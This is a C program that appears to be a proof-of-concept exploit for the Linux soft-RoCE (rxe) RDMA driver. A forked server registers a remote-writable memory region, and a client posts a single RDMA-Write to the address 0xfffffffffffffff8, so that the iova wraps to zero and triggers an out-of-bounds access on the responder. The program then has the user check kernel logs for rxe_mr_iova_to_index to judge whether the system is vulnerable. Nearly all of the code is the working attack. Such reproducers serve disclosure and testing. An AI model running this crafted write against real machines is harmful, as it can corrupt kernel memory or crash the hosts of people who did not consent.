#include <arpa/inet.h>
#include <infiniband/verbs.h>
#include <rdma/rdma_cma.h>

#define PORT     7799
#define BAD_ADDR 0xfffffffffffffff8ULL	/* iova + 8 wraps to 0 */
#define WR_LEN   8
#define MR_LEN   4096

struct mr_info { uint32_t rkey; uint32_t pad; uint64_t iova; } __attribute__((packed));

static int wait_event(struct rdma_event_channel *ec, struct rdma_cm_event **ev,
		      enum rdma_cm_event_type want)
{
	while (rdma_get_cm_event(ec, ev) == 0) {
		if ((*ev)->event != want) {
			fprintf(stderr, "cm: got %s, want %s\n",
				rdma_event_str((*ev)->event), rdma_event_str(want));
			rdma_ack_cm_event(*ev);
			return -1;
		}
		return 0;
	}
	perror("rdma_get_cm_event");
	return -1;
}

/* Server: register a USER MR, accept one connection, hand over rkey/iova. */
static int run_server(const char *addr, int ready_fd)
{
	struct rdma_event_channel *ec = rdma_create_event_channel();
	struct rdma_cm_id *lid = NULL, *id = NULL;
	struct rdma_cm_event *ev;
	struct ibv_pd *pd; struct ibv_cq *cq; struct ibv_mr *mr; void *buf;
	struct sockaddr_in sin = { .sin_family = AF_INET, .sin_port = htons(PORT) };
	int rc = 0;

	if (!ec || rdma_create_id(ec, &lid, NULL, RDMA_PS_TCP)) { perror("cm"); close(ready_fd); return 1; }
	if (!inet_pton(AF_INET, addr, &sin.sin_addr)) { fprintf(stderr, "bad addr\n"); close(ready_fd); return 1; }
	if (rdma_bind_addr(lid, (struct sockaddr *)&sin) || rdma_listen(lid, 1)) {
		perror("bind/listen");		/* let the client stop waiting */
		close(ready_fd);
		return 1;
	}
	if (write(ready_fd, "x", 1) < 0)
		perror("notify client");
	close(ready_fd);

	if (wait_event(ec, &ev, RDMA_CM_EVENT_CONNECT_REQUEST)) return 1;
	id = ev->id;

	pd  = ibv_alloc_pd(id->verbs);
	cq  = ibv_create_cq(id->verbs, 4, NULL, NULL, 0);
	buf = calloc(1, MR_LEN);
	mr  = ibv_reg_mr(pd, buf, MR_LEN,
			 IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_WRITE);
	if (!pd || !cq || !mr) { perror("pd/cq/mr"); rc = 1; goto ack; }

	struct ibv_qp_init_attr qa = {
		.send_cq = cq, .recv_cq = cq, .qp_type = IBV_QPT_RC,
		.cap = { .max_send_wr = 4, .max_recv_wr = 4, .max_send_sge = 2, .max_recv_sge = 2 },
	};
	if (rdma_create_qp(id, pd, &qa)) { perror("create_qp"); rc = 1; goto ack; }

	struct mr_info info = { .rkey = mr->rkey, .iova = (uint64_t)(uintptr_t)buf };
	struct rdma_conn_param p = {
		.private_data = &info, .private_data_len = sizeof(info),
		.initiator_depth = 1, .responder_resources = 1,
	};
	if (rdma_accept(id, &p)) { perror("accept"); rc = 1; }
ack:
	rdma_ack_cm_event(ev);
	sleep(3);	/* let the client finish its (malicious) operation */
	return rc;
}

/* Client: connect, fetch rkey, post one crafted RDMA-Write. */
static int run_client(const char *addr, int ready_fd)
{
	struct rdma_event_channel *ec = rdma_create_event_channel();
	struct rdma_cm_id *id = NULL;
	struct rdma_cm_event *ev;
	struct ibv_pd *pd; struct ibv_cq *cq; struct ibv_mr *mr; void *buf;
	struct ibv_sge sge; struct ibv_send_wr wr, *bad;
	struct sockaddr_in sin = { .sin_family = AF_INET, .sin_port = htons(PORT) };
	char tmp;

	if (!ec || rdma_create_id(ec, &id, NULL, RDMA_PS_TCP)) { perror("cm"); return 1; }
	if (!inet_pton(AF_INET, addr, &sin.sin_addr)) { fprintf(stderr, "bad addr\n"); return 1; }
	if (read(ready_fd, &tmp, 1) < 0) { perror("wait server"); close(ready_fd); return 1; }
	close(ready_fd);	/* server is listening (or gave up; connect will fail then) */

	if (rdma_resolve_addr(id, NULL, (struct sockaddr *)&sin, 5000)) { perror("resolve_addr"); return 1; }
	if (wait_event(ec, &ev, RDMA_CM_EVENT_ADDR_RESOLVED))
		return 1;
	rdma_ack_cm_event(ev);
	if (rdma_resolve_route(id, 5000)) { perror("resolve_route"); return 1; }
	if (wait_event(ec, &ev, RDMA_CM_EVENT_ROUTE_RESOLVED))
		return 1;
	rdma_ack_cm_event(ev);

	pd  = ibv_alloc_pd(id->verbs);
	cq  = ibv_create_cq(id->verbs, 4, NULL, NULL, 0);
	buf = calloc(1, MR_LEN);
	mr  = ibv_reg_mr(pd, buf, MR_LEN, IBV_ACCESS_LOCAL_WRITE);
	struct ibv_qp_init_attr qa = {
		.send_cq = cq, .recv_cq = cq, .qp_type = IBV_QPT_RC,
		.cap = { .max_send_wr = 4, .max_recv_wr = 4, .max_send_sge = 2, .max_recv_sge = 2 },
	};
	if (!pd || !cq || !mr || rdma_create_qp(id, pd, &qa)) { perror("setup"); return 1; }

	struct rdma_conn_param p = { .initiator_depth = 1, .responder_resources = 1, .retry_count = 3 };
	if (rdma_connect(id, &p) || wait_event(ec, &ev, RDMA_CM_EVENT_ESTABLISHED)) { perror("connect"); return 1; }
	struct mr_info info = {0};
	if (ev->param.conn.private_data_len >= (int)sizeof(info))
		memcpy(&info, ev->param.conn.private_data, sizeof(info));
	rdma_ack_cm_event(ev);

	sge = (struct ibv_sge){ .addr = (uintptr_t)buf, .length = WR_LEN, .lkey = mr->lkey };
	memset(&wr, 0, sizeof(wr));
	wr.wr_id = 0xdead;
	wr.opcode = IBV_WR_RDMA_WRITE;
	wr.send_flags = IBV_SEND_SIGNALED;
	wr.sg_list = &sge;
	wr.num_sge = 1;
	wr.wr.rdma.remote_addr = BAD_ADDR;	/* iova + 8 wraps to 0 */
	wr.wr.rdma.rkey = info.rkey;

	ibv_post_send(id->qp, &wr, &bad);
	printf("[client] posted RDMA-Write with wrapping iova; now check dmesg:\n");
	printf("    grep rxe_mr_iova_to_index /dev/kmsg    # present => vulnerable\n");
	sleep(2);	/* let the responder process the WRITE and hit the OOB */
	return 0;
}

int main(int argc, char **argv)
{
	const char *addr = argc > 1 ? argv[1] : "192.168.172.1";
	int syncfd[2], rc = 1;

	if (pipe(syncfd)) { perror("pipe"); return 1; }
	pid_t pid = fork();
	if (pid < 0) { perror("fork"); return 1; }
	if (pid == 0) {			/* child = client */
		close(syncfd[1]);
		_exit(run_client(addr, syncfd[0]));
	}
	close(syncfd[0]);		/* parent = server */
	rc = run_server(addr, syncfd[1]);

	int st; wait(&st);
	if (WIFEXITED(st)) rc = WEXITSTATUS(st);
	return rc;
}